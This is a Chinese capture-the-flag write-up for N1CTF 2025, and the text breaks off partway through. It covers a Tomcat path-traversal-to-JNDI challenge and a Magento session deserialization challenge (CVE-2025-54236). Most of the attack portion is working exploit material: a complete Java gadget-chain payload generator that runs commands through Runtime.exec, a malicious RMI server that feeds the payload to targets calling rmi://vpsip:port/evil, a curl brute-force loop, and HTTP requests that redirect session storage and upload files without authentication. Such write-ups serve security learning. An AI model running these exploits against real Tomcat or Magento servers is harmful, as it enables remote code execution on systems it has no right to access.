2025N1CTFwp
n1cat
1
2
|
RewriteCond %{QUERY_STRING} (^|&)path=([^&]+)
RewriteRule ^/download$ /%2 [B,L]
|
查看附件尝试目录穿越被tomcat拦截,搜索相关漏洞找到CVE-2025-55752
测试读取web.xml

下载当前的class
1
|
/download?path=%2fWEB-INF%2fclasses%2fctf%2fn1cat%2fwelcomeServlet.class
|
反编译后源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
|
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package ctf.n1cat;
import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.node.ObjectNode;
import java.io.IOException;
import java.io.PrintWriter;
import java.net.URLEncoder;
import java.nio.charset.StandardCharsets;
import javax.servlet.RequestDispatcher;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
@WebServlet(
name = "welcomeServlet",
value = {"/"}
)
public class welcomeServlet extends HttpServlet {
private static final String DEFAULT_NAME = "guest";
private static final String DEFAULT_WORD = "welcome";
private static final ObjectMapper OBJECT_MAPPER = new ObjectMapper();
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
String requestUri = request.getRequestURI();
String contextPath = request.getContextPath();
String pathWithinApp = requestUri.substring(contextPath.length());
if (this.shouldDelegate(pathWithinApp)) {
this.delegateToDefaultResource(pathWithinApp, request, response);
} else {
String jsonPayload = request.getParameter("json");
String nameParam = request.getParameter("name");
String wordParam = request.getParameter("word");
String urlParam = request.getParameter("url");
if (this.isBlank(jsonPayload) && !this.isBlank(nameParam) && !this.isBlank(wordParam)) {
ObjectNode composed = OBJECT_MAPPER.createObjectNode();
composed.put("name", nameParam);
composed.put("word", wordParam);
if (!this.isBlank(urlParam)) {
composed.put("url", urlParam);
}
jsonPayload = composed.toString();
}
if (this.isBlank(jsonPayload)) {
response.sendRedirect(this.defaultRedirectTarget(request));
} else {
try {
User user = (User)OBJECT_MAPPER.readValue(jsonPayload, User.class);
String name = user.getName();
String word = user.getWord();
String url = user.getUrl();
if (this.isBlank(name) || this.isBlank(word)) {
response.sendRedirect(this.defaultRedirectTarget(request));
return;
}
this.renderResponse(response, name, word, url);
} catch (JsonProcessingException var14) {
response.sendError(400, "Invalid JSON payload");
} catch (RuntimeException var15) {
response.sendError(400, "Invalid user data");
}
}
}
}
private boolean shouldDelegate(String pathWithinApp) {
return pathWithinApp != null && !pathWithinApp.isEmpty() && !"/".equals(pathWithinApp);
}
private void delegateToDefaultResource(String pathWithinApp, HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
RequestDispatcher defaultDispatcher = this.getServletContext().getNamedDispatcher("default");
if (defaultDispatcher != null) {
defaultDispatcher.forward(request, response);
} else {
request.getRequestDispatcher(pathWithinApp).forward(request, response);
}
}
private void renderResponse(HttpServletResponse response, String name, String word, String url) throws IOException {
response.setContentType("text/html;charset=UTF-8");
try (PrintWriter out = response.getWriter()) {
out.println("<html><body>");
String var10001 = this.escapeHtml(name);
out.println("<h1>" + var10001 + "</h1>");
var10001 = this.escapeHtml(word);
out.println("<p>" + var10001 + "</p>");
if (!this.isBlank(url)) {
var10001 = this.escapeHtml(url);
out.println("<p>URL: " + var10001 + "</p>");
}
out.println("</body></html>");
}
}
private String escapeHtml(String input) {
return input == null ? "" : input.replace("&", "&").replace("<", "<").replace(">", ">").replace("\"", """).replace("'", "'");
}
private String defaultRedirectTarget(HttpServletRequest request) {
String var10000 = request.getContextPath();
return var10000 + "/?name=" + this.urlEncode("guest") + "&word=" + this.urlEncode("welcome");
}
private boolean isBlank(String value) {
return value == null || value.trim().isEmpty();
}
private String urlEncode(String value) {
return URLEncoder.encode(value, StandardCharsets.UTF_8);
}
}
|
下载User.class
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
|
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package ctf.n1cat;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class User {
private String name;
private String word;
private String url;
public String getName() {
return this.name;
}
public String getWord() {
return this.word;
}
public void setWord(String password) {
this.word = password;
}
public void setName(String name) throws NamingException {
this.name = name;
}
public String getUrl() {
return this.url;
}
public void setUrl(String url) {
try {
(new InitialContext()).lookup(url);
} catch (NamingException e) {
throw new RuntimeException(e);
}
}
}
|
setUrl方法这里尝试打JNDI注入,反编译能看到版本是jdk17,但是不知道依赖,看到jackson,想到之前复现过的spring高版本原生链的利用,利用前面的漏洞爆破springAop包名验证猜想
1
2
|
for a in $(seq 0 1 40); do if ! curl -s "http://target:port/download?path=%2e/WEB-INF/lib/spring-aop-5.3.$a.jar;" |grep -q 'HTTP Status 404'; then echo $a; fi; done
33
|
最后爆出来是5.3.33,符合我们之前打过的版本,spring高版本利用打的是TemplatesImpl链,最后是一个反序列化触发,这里用RMI而不是LDAP原因就在这里,首先准备序列化好的evil类
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
|
import javax.swing.event.EventListenerList;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import javax.swing.undo.UndoManager;
import java.util.Base64;
import java.util.Vector;
import java.util.ArrayList;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import sun.misc.Unsafe;
import java.lang.reflect.Method;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;
import javax.xml.transform.Templates;
import java.lang.reflect.*;
public class PayloadGenerator {
public static Object getPayload() throws Exception {
try {
ClassPool pool = ClassPool.getDefault();
CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader cl = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(cl, null);
} catch (Exception ignored) {
System.out.println(ignored);
}
ArrayList<Class> classes = new ArrayList<>();
classes.add(TemplatesImpl.class);
classes.add(POJONode.class);
classes.add(EventListenerList.class);
classes.add(PayloadGenerator.class);
classes.add(Field.class);
classes.add(Method.class);
new PayloadGenerator().bypassModule(classes);
byte[] code1 = getTemplateCode("ls > ./1.txt");
byte[] code2 = ClassPool.getDefault().makeClass(randomString(6)).toBytecode();
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "xxx");
setFieldValue(templates, "_bytecodes", new byte[][]{code1, code2});
setFieldValue(templates, "_transletIndex", 0);
POJONode node = new POJONode(makeTemplatesImplAopProxy(templates));
EventListenerList ell = getEventListenerList(node);
serialize(ell, true);
return ell;
}
public static byte[] serialize(Object obj, boolean printBase64) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.close();
if (printBase64) {
System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray()));
}
return baos.toByteArray();
}
public static Object makeTemplatesImplAopProxy(TemplatesImpl templates) throws Exception {
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
Constructor<?> ctor = Class
.forName("org.springframework.aop.framework.JdkDynamicAopProxy")
.getConstructor(AdvisedSupport.class);
ctor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) ctor.newInstance(advisedSupport);
return Proxy.newProxyInstance(
ClassLoader.getSystemClassLoader(),
new Class[]{Templates.class},
handler
);
}
public static byte[] getTemplateCode(String cmd) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass template = pool.makeClass(randomString(6));
String block = "Runtime.getRuntime().exec(\""+cmd+"\");";
template.makeClassInitializer().insertBefore(block);
return template.toBytecode();
}
public static EventListenerList getEventListenerList(Object obj) throws Exception {
EventListenerList list = new EventListenerList();
UndoManager undo = new UndoManager();
Vector v = (Vector) getFieldValue(undo, "edits");
v.add(obj);
setFieldValue(list, "listenerList", new Object[]{Class.class, undo});
return list;
}
public static String randomString(int length) {
String chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
StringBuilder sb = new StringBuilder(length);
java.util.Random random = new java.util.Random();
for (int i = 0; i < length; i++) {
sb.append(chars.charAt(random.nextInt(chars.length())));
}
return sb.toString();
}
private static Method getMethod(Class<?> clazz, String name, Class<?>[] params) {
Method m = null;
while (clazz != null) {
try {
m = clazz.getDeclaredMethod(name, params);
break;
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
return m;
}
private static Unsafe getUnsafe() {
try {
Field f = Unsafe.class.getDeclaredField("theUnsafe");
f.setAccessible(true);
return (Unsafe) f.get(null);
} catch (Exception e) {
throw new AssertionError(e);
}
}
public void bypassModule(ArrayList<Class> classes) {
try {
Unsafe unsafe = getUnsafe();
Class<?> currentClass = this.getClass();
try {
Method getModule = getMethod(Class.class, "getModule", new Class[0]);
if (getModule != null) {
for (Class c : classes) {
Object targetModule = getModule.invoke(c,new Object[]{});
unsafe.getAndSetObject(
currentClass,
unsafe.objectFieldOffset(Class.class.getDeclaredField("module")),
targetModule
);
}
}
} catch (Exception ignored) {}
} catch (Exception e) {
e.printStackTrace();
}
}
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field f = null;
Class<?> c = obj.getClass();
for (int i = 0; i < 5 && c != null; i++) {
try {
f = c.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e) {
c = c.getSuperclass();
}
}
if (f == null) throw new NoSuchFieldException(fieldName);
f.setAccessible(true);
return f.get(obj);
}
public static void setFieldValue(Object obj, String field, Object val) throws Exception {
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, val);
}
}
|
然后起RMIserver,实际上是抄JNDIMap里面的起RMI服务的代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
|
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.ObjectStreamClass;
import java.io.OutputStream;
import java.net.InetSocketAddress;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.SocketException;
import java.net.URL;
import java.net.URLClassLoader;
import java.rmi.MarshalException;
import java.rmi.server.ObjID;
import java.rmi.server.UID;
import javax.net.ServerSocketFactory;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
public class evilServer implements Runnable {
public static void main(String[] args) {
//before you start it, you should set vm options:"--add-opens=java.base/sun.nio.ch=ALL-UNNAMED --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=jdk.unsupported/sun.misc=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.base/java.lang.reflect=ALL-UNNAMED"
evilServer.start();
}
private static final Logger log = LoggerFactory.getLogger(evilServer.class);
public String ip;
public int port;
private ServerSocket ss;
private final Object waitLock = new Object();
private boolean exit;
private boolean hadConnection;
private static evilServer serverInstance;
public evilServer(String ip, int port) {
try {
this.ip = ip;
this.port = port;
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
} catch (Exception e) {
e.printStackTrace();
}
}
public static synchronized void start() {
serverInstance = new evilServer("0.0.0.0", 8899);
Thread serverThread = new Thread(serverInstance);
serverThread.start();
log.warn("[RMI Server] is already running.");
}
public static synchronized void stop() {
if (serverInstance != null) {
serverInstance.exit = true;
try {
serverInstance.ss.close();
} catch (IOException e) {
e.printStackTrace();
}
serverInstance = null;
log.info("[RMI Server] stopped.");
}
}
public boolean waitFor(int i) {
try {
if (this.hadConnection) {
return true;
} else {
log.info("[RMI Server] Waiting for connection");
synchronized(this.waitLock) {
this.waitLock.wait((long)i);
}
return this.hadConnection;
}
} catch (InterruptedException var5) {
return false;
}
}
public void close() {
this.exit = true;
try {
this.ss.close();
} catch (IOException var4) {
}
synchronized(this.waitLock) {
this.waitLock.notify();
}
}
public void run() {
log.info("[RMI Server] Listening on {}:{}", "127.0.0.1", "8899");
try {
Socket s = null;
try {
while(!this.exit && (s = this.ss.accept()) != null) {
try {
s.setSoTimeout(5000);
InetSocketAddress remote = (InetSocketAddress)s.getRemoteSocketAddress();
log.info("[RMI Server] Have connection from " + remote);
InputStream is = s.getInputStream();
InputStream bufIn = (InputStream)(is.markSupported() ? is : new BufferedInputStream(is));
bufIn.mark(4);
DataInputStream in = new DataInputStream(bufIn);
Throwable var6 = null;
try {
int magic = in.readInt();
short version = in.readShort();
if (magic == 1246907721 && version == 2) {
OutputStream sockOut = s.getOutputStream();
BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
DataOutputStream out = new DataOutputStream(bufOut);
Throwable var12 = null;
try {
byte protocol = in.readByte();
switch (protocol) {
case 75:
out.writeByte(78);
if (remote.getHostName() != null) {
out.writeUTF(remote.getHostName());
} else {
out.writeUTF(remote.getAddress().toString());
}
out.writeInt(remote.getPort());
out.flush();
in.readUTF();
in.readInt();
case 76:
this.doMessage(s, in, out);
bufOut.flush();
out.flush();
break;
case 77:
default:
log.info("[RMI Server] Unsupported protocol");
s.close();
}
} catch (Throwable var88) {
var12 = var88;
throw var88;
} finally {
if (out != null) {
if (var12 != null) {
try {
out.close();
} catch (Throwable var87) {
var12.addSuppressed(var87);
}
} else {
out.close();
}
}
}
} else {
s.close();
}
} catch (Throwable var90) {
var6 = var90;
throw var90;
} finally {
if (in != null) {
if (var6 != null) {
try {
in.close();
} catch (Throwable var86) {
var6.addSuppressed(var86);
}
} else {
in.close();
}
}
}
} catch (InterruptedException var92) {
return;
} catch (Exception e) {
e.printStackTrace(System.err);
} finally {
log.info("[RMI Server] Closing connection");
s.close();
}
}
return;
} finally {
if (s != null) {
s.close();
}
if (this.ss != null) {
this.ss.close();
}
}
} catch (SocketException var96) {
} catch (Exception e) {
e.printStackTrace(System.err);
}
}
private void doMessage(Socket s, DataInputStream in, DataOutputStream out) throws Exception {
log.info("[RMI Server] Reading message...");
int op = in.read();
switch (op) {
case 80:
this.doCall(s, in, out);
break;
case 81:
case 83:
default:
throw new IOException("unknown transport op " + op);
case 82:
out.writeByte(83);
break;
case 84:
UID.read(in);
}
s.close();
}
private void doCall(Socket s, DataInputStream in, DataOutputStream out) throws Exception {
ObjectInputStream ois = new ObjectInputStream(in) {
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException {
if ("[Ljava.rmi.server.ObjID;".equals(desc.getName())) {
return ObjID[].class;
} else if ("java.rmi.server.ObjID".equals(desc.getName())) {
return ObjID.class;
} else if ("java.rmi.server.UID".equals(desc.getName())) {
return UID.class;
} else if ("java.lang.String".equals(desc.getName())) {
return String.class;
} else {
throw new IOException("Not allowed to read object");
}
}
};
ObjID read;
try {
read = ObjID.read(ois);
} catch (IOException e) {
throw new MarshalException("unable to read objID", e);
}
if (read.hashCode() == 2) {
handleDGC(ois);
} else if (read.hashCode() == 0) {
if (this.handleRMI(s, ois, out)) {
this.hadConnection = true;
synchronized(this.waitLock) {
this.waitLock.notifyAll();
return;
}
}
s.close();
}
}
private boolean handleRMI(Socket s, ObjectInputStream ois, DataOutputStream out) throws Exception {
int method = ois.readInt();
ois.readLong();
if (method != 2) {
return false;
} else {
String object = (String)ois.readObject();
out.writeByte(81);
Object obj;
try (ObjectOutputStream oos = new MarshalOutputStream(out, "evil")) {
oos.writeByte(1);
(new UID()).write(oos);
String path = "/" + object;
log.info("[RMI Server] Send payloadData for " + path);
new Object();
obj = PayloadGenerator.getPayload();
oos.writeObject(obj);
oos.flush();
out.flush();
return true;
}
}
}
private static void handleDGC(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ois.readInt();
ois.readLong();
}
static final class MarshalOutputStream extends ObjectOutputStream {
private String sendUrl;
public MarshalOutputStream(OutputStream out, String u) throws IOException {
super(out);
this.sendUrl = u;
}
MarshalOutputStream(OutputStream out) throws IOException {
super(out);
}
protected void annotateClass(Class<?> cl) throws IOException {
if (this.sendUrl != null) {
this.writeObject(this.sendUrl);
} else if (!(cl.getClassLoader() instanceof URLClassLoader)) {
this.writeObject((Object)null);
} else {
URL[] us = ((URLClassLoader)cl.getClassLoader()).getURLs();
String cb = "";
for(URL u : us) {
cb = cb + u.toString();
}
this.writeObject(cb);
}
}
protected void annotateProxyClass(Class<?> cl) throws IOException {
this.annotateClass(cl);
}
}
}
|
区别在于新增了一个evil路由,里面调用我们前下序列化生成的payload

分析前面题目的源码,我们是要传入url参数的,也就是url参数传入我们的rmi://vpsip:port/evil
不过我这里没复现成功,本地能弹计算器,但是docker里面没执行命令,直接上出题人成功的截图

在discord上看到有师傅将ysoserial的jackson1链更改为这条链子,然后起JRMP监听反弹shell
后面复现成了,先容器下个ping
1
2
|
apt update
apt install -y iputils-ping
|
然后ping到我们的宿主机,才是正确的ip
1
|
ping host.docker.internal
|
一样的方法打就成了
This challenge has been ruined
This challenge was originally a reproduction of a recent Magento RCE vulnerability. The vulnerability is very interesting and had not received much attention or analysis, making it well-suited as a CTF problem. That remained true until last week, when a public analysis ruined my challenge and turned it from a 1day into an Nday. I considered removing this challenge from the competition, but the vulnerability is genuinely interesting, so I decided to release it anyway.
CVE-2025-54236,也是能找到复现文章:Why nested deserialization is STILL harmful – Magento RCE (CVE-2025-54236) › Searchlight Cyber
是一个php反序列化,然后跟session有关,其实跟着文章进行挖掘的话思路应该是比较清晰的
先查看补丁文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
diff --git a/vendor/magento/framework/Webapi/ServiceInputProcessor.php b/vendor/magento/framework/Webapi/ServiceInputProcessor.php
index ba58dc2bc7acf..06919af36d2eb 100644
--- a/vendor/magento/framework/Webapi/ServiceInputProcessor.php
+++ b/vendor/magento/framework/Webapi/ServiceInputProcessor.php
@@ -246,6 +246,13 @@ private function getConstructorData(string $className, array $data): array
if (isset($data[$parameter->getName()])) {
$parameterType = $this->typeProcessor->getParamType($parameter);
+ // Allow only simple types or Api Data Objects
+ if (!($this->typeProcessor->isTypeSimple($parameterType)
+ || preg_match('~\\\\?\w+\\\\\w+\\\\Api\\\\Data\\\\~', $parameterType) === 1
+ )) {
+ continue;
+ }
+
try {
$res[$parameter->getName()] = $this->convertValue($data[$parameter->getName()], $parameterType);
} catch (\ReflectionException $e) {
|
补丁限制了参数类型,要么是简单类型(String、Int等)、要么是类似(xxx\xxx\Api\Data\xxx)的类。
一直跟进convertValue函数是能跟进到_createFromArray函数的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
protected function _createFromArray($className, $data)
{
...
// 1. Set using the constructor
$constructorArgs = $this->getConstructorData($className, $data);
$object = $this->objectManager->create($className, $constructorArgs);
// 2. Set using public setters
foreach ($data as $propertyName => $value) {
if (isset($constructorArgs[$propertyName])) {
continue;
}
$camelCaseProperty = SimpleDataObjectConverter::snakeCaseToUpperCamelCase($propertyName);
try {
$methodName = $this->getNameFinder()->getGetterMethodName($class, $camelCaseProperty);
...
if ($methodReflection->isPublic()) {
$returnType = $this->typeProcessor->getGetterReturnType($methodReflection)['type'];
try {
$setterName = $this->getNameFinder()->getSetterMethodName($class, $camelCaseProperty); // 2.
} catch (\Exception $e) {
...
}
...
$this->serviceInputValidator->validateEntityValue($object, $propertyName, $setterValue);
$object->{$setterName}($setterValue);
}
} catch (\LogicException $e) {
$this->processInputErrorForNestedSet([$camelCaseProperty]);
}
}
...
}
|
总结一下就是会调用任意类的构造函数和setter方法,跟fastjson有点像
现在就是要找到可用的类,由于这个漏洞叫SessionReaper,我们查找跟session有关的类,而且还提示是未授权Rest api上的反序列化
其中一个类SessionManager的构造函数非常可疑
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
|
class SessionManager implements SessionManagerInterface, ResetAfterRequestInterface
{
public function __construct(
\Magento\Framework\App\Request\Http $request,
SidResolverInterface $sidResolver,
ConfigInterface $sessionConfig,
SaveHandlerInterface $saveHandler,
ValidatorInterface $validator,
StorageInterface $storage,
\Magento\Framework\Stdlib\CookieManagerInterface $cookieManager,
\Magento\Framework\Stdlib\Cookie\CookieMetadataFactory $cookieMetadataFactory,
\Magento\Framework\App\State $appState,
?SessionStartChecker $sessionStartChecker = null
) {
$this->request = $request;
$this->sidResolver = $sidResolver;
$this->sessionConfig = $sessionConfig;
$this->saveHandler = $saveHandler;
$this->validator = $validator;
$this->storage = $storage;
$this->cookieManager = $cookieManager;
$this->cookieMetadataFactory = $cookieMetadataFactory;
$this->appState = $appState;
$this->sessionStartChecker = $sessionStartChecker ?: \Magento\Framework\App\ObjectManager::getInstance()->get(
SessionStartChecker::class
);
$this->start();
}
public function start()
{
if ($this->sessionStartChecker->check()) {
if (!$this->isSessionExists()) {
...
$this->initIniOptions();
$this->registerSaveHandler();
...
session_start();
...
$this->validator->validate($this);
...
} else {
$this->validator->validate($this);
}
$this->storage->init(isset($_SESSION) ? $_SESSION : []);
}
return $this;
}
private function initIniOptions()
{
...
foreach ($this->sessionConfig->getOptions() as $option => $value) {
if ($option === 'session.save_handler' && $value !== 'memcached') {
continue;
} else {
$result = ini_set($option, $value);
...
}
}
}
}
|
最后这个方法initIniOptions获取了所有的sessionconfig中的options,并且用ini_set设置
我们看一下sessionconfig里面怎么实现的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
class Config implements ConfigInterface
{
public function __construct(
\Magento\Framework\ValidatorFactory $validatorFactory,
\Magento\Framework\App\Config\ScopeConfigInterface $scopeConfig,
\Magento\Framework\Stdlib\StringUtils $stringHelper,
\Magento\Framework\App\RequestInterface $request,
Filesystem $filesystem,
DeploymentConfig $deploymentConfig,
$scopeType,
$lifetimePath = self::XML_PATH_COOKIE_LIFETIME
) {
...
$savePath = $deploymentConfig->get(self::PARAM_SESSION_SAVE_PATH);
if (!$savePath && !ini_get('session.save_path')) {
$sessionDir = $filesystem->getDirectoryWrite(DirectoryList::SESSION);
$savePath = $sessionDir->getAbsolutePath();
$sessionDir->create();
}
if ($savePath) {
$this->setSavePath($savePath);
}
...
}
public function setSavePath($savePath)
{
$this->setOption('session.save_path', $savePath);
return $this;
}
}
|
看到set方法了,能够指定我们的session文件保存位置,文章里面找到的链子是
1
|
paymentMethod->paymentData->context->urlBuilder->session
|
payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
PUT /rest/default/V1/guest-carts/abc/order HTTP/1.1
Host: example.com
Accept: application/json
Cookie: PHPSESSID=testing
Connection: close
Content-Type: application/json
Content-Length: 265
{
"paymentMethod": {
"paymentData": {
"context": {
"urlBuilder": {
"session": {
"sessionConfig": {
"savePath": "does/not/exist"
}
}
}
}
}
}
}
|
如果成功的话会回显
1
2
3
4
5
6
7
8
9
|
HTTP/1.1 500 Internal Server Error
Date: Mon, 13 Oct 2025 21:05:17 GMT
Server: Apache/2.4.58 (Ubuntu)
Cache-Control: no-store
Content-Length: 104
Connection: close
Content-Type: application/json; charset=utf-8
{"message":"Internal Error. Details are available in Magento log file. Report ID: webapi-68ed6990bd170"}
|
也就是成功更改session文件的存储位置
不过没解释怎么挖掘到的,出题人ban了这条链子,找到了另一条链子
1
|
address -> directoryData -> context -> urlDecoder -> urlBuilder -> session
|
然后具体payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
POST /rest/all/V1/guest-carts/123/estimate-shipping-methods HTTP/1.1
Host: 127.0.0.1
Cookie: PHPSESSID=testing
Content-Length: 417
Content-Type: application/json
{
"address": {
"directoryData": {
"context": {
"urlDecoder": {
"urlBuilder": {
"session": {
"sessionConfig": {
"savePath": "/abc"
}
}
}
}
}
}
}
}
|
现在我们的想法就很清晰了,上传一个恶意session文件,然后通过这个路由更改session文件的存储位置最后RCE
写入路径可以用相对路径来代替吗,在这个服务中可以用/pub/xxx.php
未授权的文件上传
翻阅目录找到Customer/Controller/Address/File/Upload.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
|
<?php
...
class Upload extends Action implements HttpPostActionInterface
{
...
public function execute()
{
try {
$requestedFiles = $this->getRequest()->getFiles('custom_attributes');
if (empty($requestedFiles)) {
$result = $this->processError(__('No files for upload.'));
} else {
$attributeCode = key($requestedFiles);
$attributeMetadata = $this->addressMetadataService->getAttributeMetadata($attributeCode);
$fileUploader = $this->fileUploaderFactory->create([
'attributeMetadata' => $attributeMetadata,
'entityTypeCode' => AddressMetadataInterface::ENTITY_TYPE_ADDRESS,
'scope' => CustomAttributesDataInterface::CUSTOM_ATTRIBUTES,
]);
$errors = $fileUploader->validate();
if (true !== $errors) {
$errorMessage = implode('</br>', $errors);
$result = $this->processError(($errorMessage));
} else {
$result = $fileUploader->upload();
$this->moveTmpFileToSuitableFolder($result);
}
}
} catch (...) {
...
}
$resultJson = $this->resultFactory->create(ResultFactory::TYPE_JSON);
$resultJson->setData($result);
return $resultJson;
}
/**
* Move file from temporary folder to the 'customer_address' media folder
*
* @param array $fileInfo
* @throws LocalizedException
*/
private function moveTmpFileToSuitableFolder(&$fileInfo)
{
$fileName = $fileInfo['file'];
$fileProcessor = $this->fileProcessorFactory
->create(['entityTypeCode' => AddressMetadataInterface::ENTITY_TYPE_ADDRESS]);
$newFilePath = $fileProcessor->moveTemporaryFile($fileName);
$fileInfo['file'] = $newFilePath;
$fileInfo['url'] = $fileProcessor->getViewUrl(
$newFilePath,
'file'
);
}
...
}
|
虽然是未授权的文件上传,但是本身整个服务有waf,有后缀名限制,但是在$fileProcessor->moveTemporaryFile($fileName)这里,当文件已经存在的时候,文件名不会被改变,因此我们可以加上_1/_2/_3等等来上传文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
POST /customer/address_file/upload HTTP/1.1
Host: 192.168.198.130
Content-Length: 310
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDNFoGI9h3cNjiBCQ
Cookie: form_key=f49TpaNHU56uEgZc
Connection: close
------WebKitFormBoundaryDNFoGI9h3cNjiBCQ
Content-Disposition: form-data; name="form_key"
f49TpaNHU56uEgZc
------WebKitFormBoundaryDNFoGI9h3cNjiBCQ
Content-Disposition: form-data; name="custom_attributes"; filename="test_file"
Content-Type: text/plain
Hello
------WebKitFormBoundaryDNFoGI9h3cNjiBCQ--
|
但是上传失败
1
2
3
4
|
{
"error": "No such entity with entityType = customer_address, attributeCode = name",
"errorcode": 0
}
|
问题出在attributeCode拿key值的过程,这里只拿第一个key
dump一下我们传入的$requestedFiles
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
array(6) {
["name"]=>
string(9) "test_file"
